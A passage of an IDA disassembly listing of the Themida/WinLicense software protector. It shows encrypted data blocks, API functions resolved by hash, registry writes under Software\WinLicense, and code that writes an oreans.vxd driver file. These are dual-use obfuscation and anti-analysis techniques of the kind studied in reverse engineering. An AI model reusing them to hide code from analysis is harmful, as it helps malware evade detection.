		dd 0D66A825Fh, 77CBE3C0h, 0B2390A26h, 0A7C74D8Dh, 5E000002h
		dd 0BAD06486h, 172DC1E1h, 778D213Bh, 0DAF08498h, 764FE3FFh
		dd 0E0FCD770h, 3E5C364Ch, 0A0B694AAh, 119F60Ch,	8D0ABA6Dh
		dd 13A478F6h, 4D901F64h, 0BA1C6C42h, 4C11C348h,	8D9F1707h
		dd 0A4D8E994h, 8B086A13h, 13A5DCF4h, 8E7F962h, 0D3B14F9Fh
		dd 351329BDh, 5731CF1Fh, 6660139h, 0AB959990h, 0FDC3D5C4h
		dd 0E63A522Fh, 6A15BEC1h, 3340C606h, 0D2000002h, 2E44D8FAh
		dd 8BA13555h, 0EB0195AFh, 4E64F80Ch, 0EAC35773h, 54704B04h
		dd 0B2D0AAC0h, 142A081Eh, 758D6A80h, 17E2EE1h, 13A4787Ah
		dd 4D0493D8h, 0BA1C6C42h, 8279F658h, 501442A0h,	0A0877CE7h
		dd 0EA531442h, 0BF38Ah,	0ECFE20FEh, 0A4DB0AF3h,	0F5FC813h
		dd 437B9571h, 1AB896A8h, 7291253Dh, 0C23F8F1Fh,	13A5DB37h
		dd 122806A4h, 68B82100h, 99D1F1CAh, 5826ECFEh, 9D29617Dh
		dd 0ACFC18F3h, 719310Eh, 0E3CBC6E5h, 0A31E2193h, 0D737512Dh
		dd 0FA0CE95Eh, 29D09F1Ch, 1D7F13A5h, 0A529DBA0h, 0FC0E7713h
		dd 0BB40BD1Dh, 1713A529h, 2D4522AEh, 0F1CE9CD4h, 9D0FA1D9h
		dd 3CCDF99h, 0B1899B0Bh, 7E122A07h, 3B738B68h, 61C6F15Ch
		dd 125D3A25h, 48E31B37h, 68455BEFh, 6F4A1850h, 57910353h
		dd 0CABD72B5h, 0FBC98FA1h, 0FDCB0321h, 90CF0721h, 0D9D59DC9h
		dd 0CE95410h, 2706A4F4h, 5DF0113h, 8A5126A3h, 94FD13A5h
		dd 718D6882h, 0C4F35A39h, 5D38275Fh, 0BC97AD41h, 74D668A0h
		dd 0A58A00F7h, 5365CE13h, 0D455B39h, 58C77F56h,	0B7CD617Dh
		dd 0DD8AC2DAh, 0ABD6ED64h, 104BFBD2h, 0B5DB809Eh, 7F911A27h
		dd 0DC708865h, 99D1E9C6h, 6C33A507h, 7855CB7Ah,	5EFB80EBh
		dd 0EE57D418h, 326A8862h, 906B8597h, 0AB22474h,	0CD2267DCh
		dd 0AF6390F0h, 2982317Ch, 70ED5117h, 546C4934h,	6E8C6604h
		dd 67899B36h, 245C7451h, 1C6C424Dh, 0FC8BC99Fh,	0A92688D3h
		dd 0DC7C8BD2h, 26051780h, 0DD4F29BDh, 5DEEB83Bh, 4273940h
		dd 71D3238Bh, 7C6A0FF4h, 5062CBDCh, 0BBD6F572h,	3BA4DB9Ah
		dd 49583503h, 673C37CCh, 2B07A3C4h, 0E53ED911h,	5DDA3C8Ch
		dd 0C4673CA6h, 0A1BD9834h, 6375CE69h, 0EEC96741h, 0C9A6C0D2h
		dd 1ACC79B1h, 0F7D70830h, 7653CA7Ah, 0D7B4CA5Eh, 77980EB8h
		dd 0CF28563Ah, 0D6EAC997h, 5410E79Eh, 60F40CE9h, 5556D4Ah
		dd 7E094F93h, 0D6127A01h, 0F6FD8F7h, 1E9B7174h,	0F7D6F059h
		dd 0A7338CF5h, 0DF7AB2CAh, 38107CDh, 10000000h,	7E563E8Dh
		dd 7956245Ch, 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch
		dd 8A69376Fh, 94703E76h, 9B74427Ah, 50EE437Bh, 405E089h
		dd 53000000h, 4BBh, 5BD82900h, 5C240487h, 81E78957h, 4C7h
		dd 4EF8100h, 87000000h,	895C243Ch, 89502404h, 405E0h, 0E8830000h
		dd 24048704h, 240C895Ch, 0E6D28968h, 24048B07h,	6804C483h
		dd 4140h, 83242489h, 59042404h,	89C78957h, 3C8B0879h, 4C48324h
		dd 56240C8Bh, 0C681E689h, 4, 8704C683h,	8B5C2434h, 89572404h
		dd 4C781E7h, 83000000h,	3C8704C7h, 9CE95C24h, 59FFFDA2h
		dd 7AC70D40h, 0E80D1360h
		db 0C0h, 94h, 5Dh
; ---------------------------------------------------------------------------


loc_5AFFF7:				; CODE XREF: Themida_:loc_5AF6C9j
		mov	eax, 7E6DAD4h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		sub	al, 71h
		push	edx
		inc	esp
		popa
		pop	esp
		db	65h, 3Eh
		retf
; ---------------------------------------------------------------------------
		db 77h,	5Eh, 17h
		dd 40A5DE7h, 48E26Ch, 5CB4A75Ah, 2E765453h, 50A61644h
		dd 479B8401h, 6D228A16h, 1D724AF1h, 5D6E99F5h, 1D2C5FA7h
		dd 2F780FC1h, 208115C9h, 4904DA2Eh, 24EE9497h, 3D53A836h
		dd 45EB1AAh, 1E3CB047h,	0D17FD53h, 60A87123h, 17AE9A58h
		dd 8CE9h, 0BD836000h, 7E41289h,	5840F00h, 0E9000000h, 77h
		dd 3E80006Ah, 8850F30h,	6A000000h, 35E94600h, 80000000h
		dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h
		dd 13E9h, 353E8000h, 8850Fh, 406A0000h,	2E946h,	6A0000h
		dd 0F203E80h
dword_5B00C0	dd 1285h, 17E8000h, 8850F00h, 83000000h, 14E908C4h, 8D000000h
					; DATA XREF: Themida_:00583EC0o
		dd 0E430C185h, 90509007h, 6A965096h, 6195FF00h,	6107E421h
		dd 2D85C6C3h, 4D07E42Ch, 0B4C00768h, 24048134h,	6F80B6A1h
		dd 1DE1B5FFh, 858D07E4h, 7E43BDCh, 8589D0FFh, 7E42161h
		dd 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h
		dd 5C5C0044h, 544E5C2Eh, 454349h, 0E681C08Bh, 4FE587D4h
		dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501974h
		dd 0FB8C08Bh, 89000004h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h
		dd 83585BD3h, 0E40935BDh, 17740007h, 0FB85350h,	89000004h
		dd 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 80585BD3h, 81668CF5h
		dd 8BDD10D2h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0BDC4C506h, 0B58BF167h, 7E42FDDh
		dd 2C2D85C6h, 0E94307E4h, 0Ch, 61CB1B49h, 9C001A28h, 9E9B184Eh
		dd 0E8D0BF0Fh, 4, 0BC8E6EFCh, 22B96650h, 24448B93h, 0DF27BA04h
		dd 8B2374h, 89CA8B66h, 66042444h, 8958D68Bh, 0E4155D85h
		dd 9DB5FF07h, 6A07E401h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 5F05C350h, 3BDC858Dh
		dd 0B58907E4h, 7E41851h, 1E3D9529h, 0D0FF07E4h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A2C35545h, 29DBD2Bh
		dd 9D8907E4h, 7E40401h,	8E8CBA90h, 8B5000A3h, 6A90D6h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 9EE147C3h, 8166006Ah, 0E86861C6h, 4,	80h, 840F50h, 8B000000h
		dd 0E9042444h, 10h, 67209FE3h, 0E45AFFFAh, 0BF28ACh, 0DEA6F8Bh
		dd 0FE8008Bh, 0C0000000h, 9F8C5D36h, 937E7B53h,	412C6C41h
		dd 5050CA57h, 5A310F52h, 89595F58h, 57042444h, 12E9h, 63D86C00h
		dd 9286BCA4h, 1BEBE2A0h, 0FD050B7Dh, 5FA3EE17h,	4DBD3358h
		dd 8B07E431h, 0E40A1D95h, 60036A07h, 1FFDBD8Bh,	0D78B07E4h
		dd 0B5006A61h, 6A036ADEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 1628C352h, 9D89723Ah
		dd 7E426F9h, 2DBE4B68h,	243481A4h, 642DBE4Bh, 3D57BA66h
		dd 0DC8B9D8Dh, 953107E6h, 7E42C4Dh, 13E993h, 20E30000h
		dd 0CC5412BBh, 74E656Fh, 0D89853EEh, 6FC2E8FFh,	6660503Bh
		dd 579431B9h, 61585E52h, 0DE993h, 3A2A0000h, 3A66391Eh
		dd 0FC5D66A2h, 299F3790h, 0E40FA99Dh, 66D0FF07h, 40CB13BFh
		dd 2B1850Fh, 13E90000h,	0F9000000h, 0D21F5C18h,	81BEE0C6h
		dd 0E743F1Ah, 306D7C49h, 0BE58001Bh, 2943108Fh,	0E8505190h
		dd 0Fh,	2C6653DCh, 0FDEC8EE3h, 45CD2C38h, 59281797h, 56505F5Eh
		dd 66FE8B60h, 5E61C88Bh, 39BD8990h, 6A07E42Bh, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 8C690231h, 539C934Bh, 85894526h, 7E41E11h, 78DFBC68h
		dd 8870FA6h, 0F000000h,	281h, 81B7B500h, 20C42404h, 0C5805987h
		dd 6A036AFDh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0C812C353h, 53E6F253h,	0BF575C50h
		dd 1F19B531h, 6A07E4h, 95858960h, 2307E42Dh, 0E403B185h
		dd 13E86107h, 17000000h, 2D359E9h, 3D97BBC3h, 8A7CB036h
		dd 6BAA491h, 0BE99F42h,	10000000h, 6F1D5A7Eh, 0E003C70Ch
		dd 6A5F94D5h, 42BE6603h, 74D5680Bh, 800FA61Fh, 0
		dd 0D5243481h, 9661F74h, 0E41CFD8Dh, 949D8D07h,	8107E6DCh
		dd 834DD7EAh, 10E89315h, 4E000000h, 0BF724BEDh,	0C21AE6Ah
		dd 0F53FA171h, 0F08E885h, 683h,	0F525000h, 59585A31h, 0D6809350h
		dd 89D0FFE7h, 0E41FF5B5h, 48E0F07h, 66000000h, 4088D2BFh
		dd 14D850Fh, 0BA580000h, 47A06E26h, 52505090h, 5E8h, 68633C00h
		dd 0F591DF7h, 0AE931h, 0A7CA0000h, 0D04EE4ECh, 6B3BF6B0h
		dd 505F585Ah, 0DC461FBEh, 6A9033h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0B4C3D5C3h, 0F7B741Ah
		dd 681h, 89853100h, 6A07E403h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BC64727h
		dd 7AA668D7h, 34815C3Eh, 3E7A2624h, 25BD8B5Ch, 6A07E420h
		dd 0A52EBE03h, 6A7D92h,	89036AFCh, 0E41C4D95h, 71106807h
		dd 50BF5A8Fh, 813FD562h, 8EF02404h, 8D236570h, 7E40401h
		dd 0DC9F9D8Dh, 0BD8907E6h, 7E40E59h, 840F5393h,	6, 310F5250h
		dd 505F585Ah, 66525057h, 0F5E14BFh, 5A5A5731h, 6A935F58h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 4C86C352h, 0CC0F2077h, 8AD843D8h,	0F0B70FD7h
		dd 11E9D0FFh, 7B000000h, 73F8D721h, 18FFC8AEh, 595365B2h
		dd 59694915h, 20850F40h, 60000000h, 15D1858Bh, 953107E4h
		dd 7E409A5h, 618D8B61h,	5807E423h, 152E9h, 0FD8D0100h
		dd 8B07E409h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0D1C1DF1Bh, 6FD0733Ah, 0C0BA664Bh
		dd 6A585Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 60D229C3h, 0C3AC2D3Bh, 2C2D85C6h,	8B4307E4h
		dd 0E4002595h, 0BC086807h, 0FE8CAC0h, 1000000h,	0B063842Ch
		dd 75FE2723h, 57C8762Dh, 52500BBBh, 0C414BA66h,	8B66310Fh
		dd 5A585AF0h, 0AF243481h, 600AB6F6h, 14DD9589h,	860F07E4h
		dd 6, 19B5BD8Bh, 0FF6107E4h, 0E4019DB5h, 7E907h, 5CFA0000h
		dd 43F9DB61h, 0DC858D8Bh, 2907E43Bh, 0E422418Dh, 6AD0FF07h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 7199C350h, 93A6E404h, 38E0Fh, 8B660000h
		dd 29B250F9h, 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 1A732439h, 8E95759h, 15000000h, 0F3275EFBh
		dd 5F2D1F9Dh, 7333CE81h, 0D0FF266Eh, 2B35B529h,	9D8D07E4h
		dd 7E472B7h, 88D0Fh, 880F0000h,	2, 1B88CB5h, 8B000000h
		dd 0FFF18AF1h, 11B58BE3h, 8B07E40Ah, 0C08BF5C1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5CC35040h, 32D4162Ah
		dd 0C9604BBh, 0D6C281FCh, 837567C9h, 0E413F1BDh, 9750007h
		dd 935BD83h, 740007E4h,	8B535019h, 40FB8C0h, 85890000h
		dd 7E40EEDh, 0EA579D8Dh, 0D3FF07E6h, 0BD83585Bh, 7E40935h
		dd 50177400h, 40FB853h,	85890000h, 7E40EEDh, 0E6F89D8Dh
		dd 0D3FF07E6h, 9503585Bh, 7E41EF9h, 9159D89h, 8D8B07E4h
		dd 7E41CFDh, 10E8C08Bh,	0E5000000h, 0FE6AAF83h,	8CF035C2h
		dd 2B74CA20h, 8ABB048Eh, 12E95FC1h, 39000000h, 1C479D2Bh
		dd 8102D994h, 897B9476h, 2B551838h, 0ECC781C9h,	8B000071h
		dd 1C47BAF0h, 8D310000h, 7E41A35h, 8D8B37FFh, 7E4218Dh
		dd 850F505Bh, 6, 25D98D8Bh, 815907E4h, 73EE08C3h, 12E93Fh
		dd 9F050000h, 92163012h, 0C2979A10h, 0DFA00514h, 0E762B7Ch
		dd 0ADFCF381h, 0EA8A7E8Bh, 40EDEB81h, 0C18B0BEFh, 0BD891F89h
		dd 7E42489h, 0F04EF83h,	48Eh, 0BBE6600h, 1EA8354h, 25850Fh
		dd 9E90000h, 73000000h,	2C57A32Ah, 8F6AD602h, 22E9h, 8A53C000h
		dd 0F206EA6Eh, 0D5AD10DBh, 20F6D7BFh, 896B2314h, 0E405F9BDh
		dd 0FF6EE907h, 0BBA4FFFFh
; ---------------------------------------------------------------------------
		xchg	dl, bh
		inc	edi


loc_5B08FF:				; DATA XREF: Themida_:00584914o
		jmp	loc_5B09AE
; ---------------------------------------------------------------------------
aSoftwareWinlic	db 'Software\WinLicense',0
aCheckin	db 'CheckIN',0
aXprotexit	db 'XprotExit',0
aCheckout	db 'CheckOUT',0
aWinlicensevers	db 'WinLicenseVersion',0
aWinlicensedriv	db 'WinLicenseDriverVersion',0
aWinlicenseinst	db 'WinLicenseInstance',0
aExitok		db 'ExitOk',0
aProcin		db 'ProcIN',0
aProcout	db 'ProcOUT',0
aExitin		db 'ExitIN',0
aExitout	db 'ExitOUT',0
aTpin		db 'TpIN',0
		align 4
		dd 2 dup(0)
		dd 0B9080000h, 0D5BB77DEh
		db 0DFh, 77h
; ---------------------------------------------------------------------------


loc_5B09AE:				; CODE XREF: Themida_:loc_5B08FFj
		jmp	loc_5B0F49
; ---------------------------------------------------------------------------
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	19h
		push	dword ptr [ebp+7E6E513h]
		push	1
		push	0
		lea	eax, [ebp+7E6E4A8h]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E4D2h]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E4BAh]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E4E5h]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E495h]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E4169Dh], 0
		jz	locret_5B0B82
		mov	ebx, [ebp+7E4169Dh]
		add	ebx, 4Ch
		mov	[ebx], eax

locret_5B0B82:				; CODE XREF: Themida_:005B0B71j
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E4169Dh], 0
		jz	locret_5B0B9B
		mov	ebx, [ebp+7E4169Dh]
		add	ebx, 50h
		mov	[ebx], eax

locret_5B0B9B:				; CODE XREF: Themida_:005B0B8Aj
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E4169Dh], 0
		jz	locret_5B0BB4
		mov	ebx, [ebp+7E4169Dh]
		add	ebx, 54h
		mov	[ebx], eax

locret_5B0BB4:				; CODE XREF: Themida_:005B0BA3j
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E4169Dh], 0
		jz	locret_5B0BCD
		mov	ebx, [ebp+7E4169Dh]
		add	ebx, 58h
		mov	[ebx], eax

locret_5B0BCD:				; CODE XREF: Themida_:005B0BBCj
		retn
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7E4169Dh], 0
		jz	locret_5B0BE6
		mov	ebx, [ebp+7E4169Dh]
		add	ebx, 5Ch
		mov	[ebx], eax

locret_5B0BE6:				; CODE XREF: Themida_:005B0BD5j
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E50Ah]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		cmp	dword ptr [ebp+7E413F1h], 0
		jz	loc_5B0C41
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]


loc_5B0C41:				; CODE XREF: Themida_:005B0C2Fj
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E4ECh]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		cmp	dword ptr [ebp+7E413F1h], 0
		jz	loc_5B0CA8
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]


loc_5B0CA8:				; CODE XREF: Themida_:005B0C96j
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E4F3h]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		cmp	dword ptr [ebp+7E413F1h], 0
		jz	loc_5B0D0F
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]


loc_5B0D0F:				; CODE XREF: Themida_:005B0CFDj
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E4FBh]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		cmp	dword ptr [ebp+7E413F1h], 0
		jz	loc_5B0D76
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]


loc_5B0D76:				; CODE XREF: Themida_:005B0D64j
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E502h]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		cmp	dword ptr [ebp+7E413F1h], 0
		jz	loc_5B0DDD
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]


loc_5B0DDD:				; CODE XREF: Themida_:005B0DCBj
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	dword ptr [ebp+7E6E513h], 1
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000002h
		call	dword ptr [ebp+7E6E51Fh]
		or	eax, eax
		jz	loc_5B0E26
		mov	dword ptr [ebp+7E6E513h], 0
		jmp	loc_5B0E73
; ---------------------------------------------------------------------------


loc_5B0E26:				; CODE XREF: Themida_:005B0E11j
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E48Dh]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		or	eax, eax
		jz	loc_5B0E5D
		mov	dword ptr [ebp+7E6E513h], 0
		jmp	loc_5B0E67
; ---------------------------------------------------------------------------


loc_5B0E5D:				; CODE XREF: Themida_:005B0E48j
		mov	dword ptr [ebp+7E6E513h], 1


loc_5B0E67:				; CODE XREF: Themida_:005B0E58j
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]


loc_5B0E73:				; CODE XREF: Themida_:005B0E21j
		popa
		mov	eax, [ebp+7E6E513h]
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E48Dh]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		cmp	dword ptr [ebp+7E413F1h], 0
		jz	loc_5B0ED4
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]


loc_5B0ED4:				; CODE XREF: Themida_:005B0EC2j
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+7E6E513h],	eax
		lea	eax, [ebp+7E6E50Fh]
		push	eax
		lea	eax, [ebp+7E6E479h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E6E51Fh]
		push	4
		lea	eax, [ebp+7E6E513h]
		push	eax
		push	4
		push	0
		lea	eax, [ebp+7E6E49Fh]
		push	eax
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42565h]
		cmp	dword ptr [ebp+7E413F1h], 0
		jz	loc_5B0F3B
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E6E51Bh]


loc_5B0F3B:				; CODE XREF: Themida_:005B0F29j
		push	dword ptr [ebp+7E6E50Fh]
		call	dword ptr [ebp+7E42135h]
		popa
		retn
; ---------------------------------------------------------------------------


loc_5B0F49:				; CODE XREF: Themida_:loc_5B09AEj
		mov	byte ptr [ebp+7E42C2Dh], 52h
		push	0ADE47B07h
		push	dword ptr [ebp+7E40DE1h]
		call	dword ptr [ebp+7E41E39h]
		mov	[ebp+7E6E51Fh],	eax
		mov	byte ptr [ebp+7E42C2Dh], 52h
		push	902E00E5h
		push	dword ptr [ebp+7E40DE1h]
		call	dword ptr [ebp+7E41E39h]
		mov	[ebp+7E6E51Bh],	eax
		mov	byte ptr [ebp+7E42C2Dh], 52h
		push	0B9BF1235h
		push	dword ptr [ebp+7E40DE1h]
		call	dword ptr [ebp+7E41E39h]
		mov	[ebp+7E42565h],	eax
		mov	byte ptr [ebp+7E42C2Dh], 52h
		push	98781034h
		push	dword ptr [ebp+7E40DE1h]
		call	dword ptr [ebp+7E41E39h]
		mov	[ebp+7E42135h],	eax
		mov	byte ptr [ebp+7E42C2Dh], 52h
		push	0C005DBD4h
		push	dword ptr [ebp+7E40DE1h]
		call	dword ptr [ebp+7E41E39h]
		mov	[ebp+7E401F9h],	eax
		jmp	loc_5B11F2
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 10h
		dd 67h dup(0)
		dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B11F2:				; CODE XREF: Themida_:005B0FDFj
		jmp	loc_5B12E6
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+7E42C2Dh], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+7E4019Dh]
		lea	eax, [ebp+7E43BDCh]
		call	eax
		push	104h
		lea	ebx, [ebp+7E416BDh]
		push	ebx
		call	eax
		push	eax
		lea	esi, [ebp+7E6ED51h]
		mov	edi, esi
		xor	al, al


loc_5B122A:				; CODE XREF: Themida_:005B122Bj
		scasb
		jnz	loc_5B122A
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+7E42C2Dh], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+7E4019Dh]
		lea	eax, [ebp+7E43BDCh]
		call	eax
		lea	esi, [ebp+7E416BDh]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax
		mov	ebx, eax
		mov	byte ptr [ebp+7E42C2Dh], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+7E4019Dh]
		lea	eax, [ebp+7E43BDCh]
		call	eax
		lea	edi, [ebp+7E40135h]
		lea	ecx, [ebp+7E6EE77h]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax
		test	eax, eax
		jnz	loc_5B12C8
		lea	esi, [ebp+7E6EB59h]
		lea	eax, [ebp+7E6DBD6h]
		call	eax
		lea	ecx, [ebp+7E472B7h]
